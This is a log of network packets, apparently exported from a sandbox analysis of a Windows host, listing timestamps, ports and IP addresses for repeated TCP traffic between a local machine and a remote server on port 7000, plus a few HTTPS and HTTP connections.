Dec 5, 2024 14:01:35.901943922 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.901995897 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.902030945 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.905616045 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.905661106 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.905827045 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.910475016 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.910520077 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.910593987 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.914834023 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.914854050 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.914874077 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.917944908 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.917988062 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.918081999 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.922029972 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.922072887 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.922102928 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.925685883 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.925725937 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.925789118 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.929465055 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.929505110 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.929510117 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.932806969 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.932852983 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.932904959 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.935794115 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.935837030 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.935913086 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.938457966 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.938502073 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.938550949 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.939865112 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.939910889 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.939979076 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.941778898 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.941831112 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.941859007 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.944258928 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.944310904 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.944310904 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.947098017 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.947185993 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.947258949 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.950813055 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.950865030 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.950922966 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.956557035 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.956610918 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.956780910 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.999243021 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.999258041 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.999305964 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.008265018 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.008285046 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.008331060 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.011405945 CET	80	49755	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:36.012200117 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.012244940 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.012271881 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.021781921 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.021830082 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.021893978 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.025440931 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.025492907 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.025511980 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.030319929 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.030360937 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.030432940 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.034596920 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.034635067 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.034693003 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.037784100 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.037853956 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.037869930 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.041779041 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.041824102 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.041908979 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.045638084 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.045653105 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.045674086 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.049433947 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.049478054 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.049526930 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.052675009 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.052716970 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.052789927 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.055378914 CET	49755	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:36.055839062 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.055880070 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.055895090 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.058387041 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.058442116 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.058501005 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.062849998 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.062912941 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.062958956 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.067248106 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.067322016 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.067456961 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.071887016 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.071928978 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.071932077 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.076231956 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.076256037 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.076280117 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.080734015 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.080770016 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.080811977 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.085228920 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.085270882 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.085334063 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.120728016 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.120804071 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.120949030 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.129828930 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.129884005 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.129941940 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.133270979 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.133317947 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.133333921 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.141608953 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.141644001 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.141659975 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.145287037 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.145328045 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.145456076 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.150091887 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.150139093 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.150172949 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.154373884 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.154416084 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.154535055 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.157685041 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.157736063 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.157792091 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.161916971 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.161972046 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.161988974 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.166469097 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.166513920 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.166517973 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.170922995 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.170958042 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.170973063 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.172576904 CET	443	49760	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.173327923 CET	49760	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.173348904 CET	443	49760	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.173863888 CET	49760	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.173867941 CET	443	49760	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.175455093 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.175506115 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.175528049 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.179929972 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.179980040 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.180036068 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.184463024 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.184510946 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.184564114 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.188982964 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.189022064 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.189029932 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.193619013 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.193757057 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.193794966 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.198005915 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.198071003 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.198091030 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.202481031 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.202528000 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.202625036 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.207051992 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.207097054 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.207134008 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.211548090 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.211611032 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.211675882 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.216090918 CET	49765	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:36.216125011 CET	443	49765	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:36.216216087 CET	49765	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:36.225681067 CET	49765	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:36.225697041 CET	443	49765	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:36.240571976 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.240636110 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.240750074 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.252959967 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.252979994 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.253026962 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.253637075 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.253686905 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.363667011 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:36.483367920 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:36.607340097 CET	443	49760	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.607450008 CET	443	49760	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.607496023 CET	49760	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.607742071 CET	49760	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.607759953 CET	443	49760	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.607769966 CET	49760	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.607775927 CET	443	49760	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.611179113 CET	49766	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.611226082 CET	443	49766	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.611319065 CET	49766	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.611500978 CET	49766	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.611515999 CET	443	49766	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.859066963 CET	443	49761	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.859658003 CET	49761	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.859673977 CET	443	49761	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.860188961 CET	49761	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.860194921 CET	443	49761	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.991132975 CET	443	49762	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.991463900 CET	443	49763	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.991952896 CET	49762	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.992005110 CET	443	49762	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.992434025 CET	49762	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.992439032 CET	443	49762	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.992687941 CET	49763	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.992707968 CET	443	49763	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:36.993127108 CET	49763	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:36.993134022 CET	443	49763	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.065676928 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.065941095 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.065989017 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.068495035 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.068614006 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.068662882 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.074213982 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.074261904 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.074318886 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.079739094 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.079843044 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.079891920 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.085468054 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.085517883 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.085566998 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.091056108 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.091140985 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.091192961 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.096735954 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.096870899 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.096915960 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.101172924 CET	443	49764	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.102020979 CET	49764	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.102049112 CET	443	49764	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.102350950 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.102514982 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.102565050 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.107995033 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.108082056 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.108166933 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.113647938 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.113964081 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.114020109 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.119302034 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.119497061 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.119560957 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.124898911 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.125005007 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.125063896 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.130604029 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.130698919 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.130757093 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.134248018 CET	49764	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:37.134273052 CET	443	49764	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:37.136128902 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.136296034 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.136344910 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.141808987 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.141927004 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.141979933 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.147469997 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.147689104 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.147747040 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.153122902 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.153187037 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.153269053 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.158684015 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.158806086 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.158859015 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.164330959 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.164525986 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.164589882 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.169990063 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.170139074 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.170197964 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.185777903 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.185889006 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.185985088 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.188422918 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.188493013 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.188538074 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.194143057 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.194205999 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.194252014 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.199652910 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.199733019 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.199784040 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.205380917 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.205420971 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.205477953 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.210907936 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.210958004 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.211011887 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.216763020 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.216841936 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.216907024 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.222356081 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.222476959 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.222554922 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.227948904 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.228017092 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.228068113 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.233865023 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.233971119 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.234019995 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.239310026 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.239450932 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.239497900 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.244952917 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.245084047 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.245136023 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.251164913 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.251352072 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.251416922 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.256110907 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.256306887 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.256352901 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.261796951 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.261936903 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.261980057 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.270767927 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.270790100 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:37.270838022 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:37.276120901 CET	7000	49734	69.174.100.131	192.168.2.6
